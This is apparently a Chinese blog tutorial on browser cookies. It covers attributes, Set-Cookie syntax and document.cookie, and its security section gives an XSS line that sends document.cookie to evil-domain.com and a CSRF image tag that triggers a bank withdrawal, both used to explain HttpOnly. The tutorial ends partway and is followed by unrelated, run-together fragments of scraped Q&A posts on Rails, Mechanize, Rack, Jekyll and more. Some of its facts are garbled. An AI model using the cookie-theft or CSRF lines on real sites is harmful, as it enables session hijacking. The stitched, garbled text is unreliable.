文章已收录到我的 GitHub 中,欢迎 star
cookie 是服务器端保存在浏览器的一小段文本信息,浏览器每次向服务器端发出请求,都会附带上这段信息(不是所有都带上,具体的下文会介绍)。
使用场景:
以上用得较多的还是第一种场景。
我们有时候用
cookie作为客户端储存,可行但不推荐。因为cookie本身大小有所限制,而且会影响性能。存储还是应该考虑localStorage、sesseionStorage或者indexDB
在了解各个属性之前,我们先打开浏览器调试——Application——Cookies——选中一个域。
上面就会有这些 cookie 的名称,值,Domain,Path,Expires/Max-age,Size,HTTP,Secure。
我们接下来就是要讲这里面几个重要的点:
这两个属性涉及到 cookie 的存活时间。
Expires 属性指定一个具体的到期时间,到了这个指定的时间之后,浏览器就不再保留这个 cookie ,它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 格式进行转换。
设置如下:
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Max-Age 属性制定了从现在开始 cookie 存在的秒数,比如 60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。
Max-Age 的优先级会比 Expires 的高,主要的原因 Max-Age 所受的外界因素(比如客户端的时间可能有误)比较小。
如果两者都不设置的,那么这个 cookie 就是Session Cookie,也一旦关闭浏览器,浏览器就不会保留这个这个 cookie。
这两个属性决定了,HTTP 请求的时候,哪些请求会带上哪些 Cookie,具体下面会做讲解。
Secure 属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的 Secure 属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。
设置了 Secure 这个属性,那么就会在 Secure 这一栏打钩。
HttpOnly 属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是 Document.cookie 属性、XMLHttpRequest 对象和Request API都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。
设置了 HttpOnly 这个属性,那么就会在 HTTP 这一栏打钩
如果服务器端希望在浏览器种 cookie,那么它只需要在 HTTP 请求头信息中,放置一个 Set-Cookie 的字段。举个例子:
Set-Cookie:foo=bar
那么就会在浏览器种保存一个名为 foo,值为 bar 的 cookie。
除了值之外,还可以设置其他的属性。
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
当然,一个 Set-Cookie 字段是可以同时包含多个属性(而且没有次序要求),如下所示:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
注意一点就是,如果你想要使用
Set-Cookie修改一个已经存在的cookie的值,那么要注意,你必须匹配原有的所有的属性值(如果存在的话),否则就会生成一个新的cookie,而不是修改它的值。
比如,原有的 cookie 为:
Set-Cookie: key1=value1; domain=example.com; path=/blog
那么你正确的修改方式应该是:
Set-Cookie: key1=value2; domain=example.com; path=/blog
如果你的修改方式如下的话:
Set-Cookie: key1=value2; domain=example.com; path=/
就会在浏览器端设置两个同名的 cookie 如下:
Cookie: key1=value1; key1=value2
这不是我们希望看到的!
这里涉及到一个问题,是不是每个请求我们都会带上所有的 cookie,显然不是的,要不性能就会十分低下了。那么浏览器是根据什么判别哪些请求会带上哪些 cookie 呢?
这就跟 Domain 和 path 属性息息相关了
比如,现在一个 cookie 它的 Domain 属性为 www.example.com,path 属性值为 /。意味着,这个 cookie 对该域的根路径以及它的所有子路径都有效。如果我们修改了它的 path 值,为 /forums,那么这个 cookie 只要在访问 www.example.com/forums 及其子路径时才会带上。
在 Web 应用中,cookie 常用来标记用户或授权会话,如果这些信息(cookie)会被窃取,可能导致授权用户的会话从而网页收到攻击,比如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 类型的 cookie 就可以组织 Js 对其的访问从而缓解这种攻击
比如某个网站的图片如下:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
当你打开这个图片的时候,如果你登录之前的银行账号而且 cookie 仍然有效(还没有其他验证的步骤,有点极端),那么你的账户就有可能有危险了。
在了解 cookie 自动删除之前,我们先来了解小 cookie 的一些限制条件:
cookie 的最大数量不能超出 4kb,所有超出该限制的 cookie 都会被截断并且不会发送到服务器端。cookie 的数量不得超过 50 个,Opera 限定 cookie 的数量为 30个,Safari 和 Chrome 就没有这种限制。其限制的原因,主要在于阻止 cookie 的滥用,而且 cookie 会被发送到服务器端,如果数量太大的话,会严重影响请求的性能。以上这两个限制条件,就是 cookie 为什么会被浏览器自动删除的原因了。
自动删除主要存在以下几种可能:
cookie(session cookie)在会话结束的时候(浏览器关闭)会被删除。cookie(Persistent cookie)在到达失效日期的时候会被删除。cookie 达到上限,会自动清除,然后为新建的 cookie 腾出空间。对于前端而言,我们获取 cookie 和设置 cookie 都是通过 document.cookie 的方式进行的。
获取如下(当然是这个 cookie 没有 HttpOnly 属性)。
可以看到,document.cookie 是将所有的可以读的 cookie 一次性读出来的,使用分号分割,所以必须手动的分割。
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar
我们可以通过 document.cookie 为当前的网站添加 cookie
document.cookie = 'fontSize=14';
写入的时候,Cookie 的值必须写成 key=value 的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用 encodeURIComponent 方法达到。
但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world
写入 Cookie 的时候,可以一起写入 Cookie 的属性。
例如:
document.cookie = 'fontSize=14; '
+ 'expires=' + someDate.toGMTString() + '; '
+ 'path=/subdirectory; '
+ 'domain=*.example.com';
删除一个现存 Cookie 的唯一方法,是设置它的 expires 属性为一个过去的日期。
document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
https://javascript.ruanyifeng.com/bom/cookie.html#toc5
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies
我在rubyonrails应用程序中有以下新方法:defnewifcookies[:owner].empty?cookies[:owner]=SecureRandom.hexend@movie=Movie.new@movie.owner=cookies[:owner]end基本上,每个新用户都应该获得一个代码来识别他们(尽管只是通过cookie)。因此,当用户创建电影时,创建的cookie将存储在owner字段中。所以有两个问题:使用.empty?方法,当我从浏览器中删除cookie时,返回一个undefinedmethodempty?'对于nil:NilClass`当我确实已经在
我正在使用mechanize登录网站,然后检索页面。我遇到了一些问题,我怀疑这是由于cookie中的某些值造成的。当Mechanize登录网站时,我假设它存储了cookie。如何通过Mechanize打印出存储在cookie中的所有数据? 最佳答案 代理有一个cookie方法。agent=Mechanize.newpage=agent.get("http://www.google.com/")agent.cookiesagent.cookies.to_scookie返回一个Mechanize::Cookiesobject
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭9年前。我最近开始学习Ruby,这是我的第一门编程语言。我对语法感到满意,并且我已经完成了许多只教授相同基础知识的教程。我已经写了一些小程序(包括我自己的数组排序方法,在有人告诉我谷歌“冒泡排序”之前我认为它非常聪明),但我觉得我需要尝试更大更难的东西来理解更多关于Ruby.关于如何执行此操作的任何想法?
我在我的Rails应用程序中使用设计。我在租户庄园中配置了它,其中帐户/session的范围限定为子域。例如:http://subdomain1.example.com/http://subdomain2.example.com/...这很好用,但我想为“super管理员”添加一个子域,允许这些用户导航到所有其他子域而无需重新验证。这将是这样的:http://admin.example.com/是否可以自定义仅在管理子域上生成的cookie,以便它在所有其他子域上都有效? 最佳答案 Cookie域的定义越不具体,它们的包容性就越大,
我找不到任何使用Rack::Session::Cookie的简单示例,并且希望能够将信息存储在cookie中,并在以后的请求中访问它并让它过期.这些是我能找到的唯一示例:HowdoIset/getsessionvarsinaRackapp?http://rack.rubyforge.org/doc/classes/Rack/Session/Cookie.html这是我得到的:useRack::Session::Cookie,:key=>'rack.session',:domain=>'foo.com',:path=>'/',:expire_after=>2592000,:secret=
在Rails3.x应用程序中,我正在使用net::ssh并向远程pc运行一些命令。我想向用户的浏览器显示实时日志。比如,如果两个命令在net中运行::ssh执行即echo"Hello",echo"Bye"被传递然后"Hello"应该在执行后立即显示在浏览器中。这是代码我在rubyonrails应用程序中使用ssh连接和运行命令Net::SSH.start(@servers['local'],@machine_name,:password=>@machine_pwd,:timeout=>30)do|ssh|ssh.open_channeldo|channel|channel.requ
我正在为Jekyll编写一个转换器插件,需要访问一些页眉(YAML前端)属性。只有内容被传递给主要的转换器方法,似乎无法访问上下文。例子:moduleJekyllclassUpcaseConverter关于如何在转换器插件中访问页眉数据有什么想法吗? 最佳答案 基于Jekyll源代码,无法在转换器中检索YAML前端内容。根据您的情况,我看到了两种可行的解决方案。您的文件扩展名可以具有足够的描述性,以提供您本应包含在前言中的信息。看起来Converter插件的设计就是这么基本的。如果修改Jekyll是一个选项,您可以更改Convert
那是我的代码。现在我需要向主机发送一个cookie,但我找不到解决方案。defget_network_file(url=nil)beginhttp=Net::HTTP.new(@service_server,80)resp,data=http.get(url,{"Accept-Language"=>@locale})ifresp.code.to_i!=200RAILS_DEFAULT_LOGGER.error"***returncode!=200.code=#{resp.code}"return""endrescueException=>excRAILS_DEFAULT_LOGGER.
一、简介之前在Vue项目中使用过element的上传组件,实现了点击上传+拖拽上传的两种上传功能。然后我就在想是否可以通过原生的html+js来实现文件的点击上传和拖拽上传,说干就干。首先是点击获取上传文件自然没的说,只需要借助input标签即可,但原生的点击上传按钮,实在是过于简陋,所以我的想法是通过一个div,模拟成上传按钮,然后监听其点击事件,通过input.click()去模拟点击真正的上传元素。然后是拖拽获取上传文件,这个稍有难度,我的想法是通过HTML5新增的drag拖放API+dataTransfer来实现文件的拖拽获取,但是由于是html5新增的,所以可能在某些低版本IE浏览器
Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。已关闭8年。什么是学习ruby语言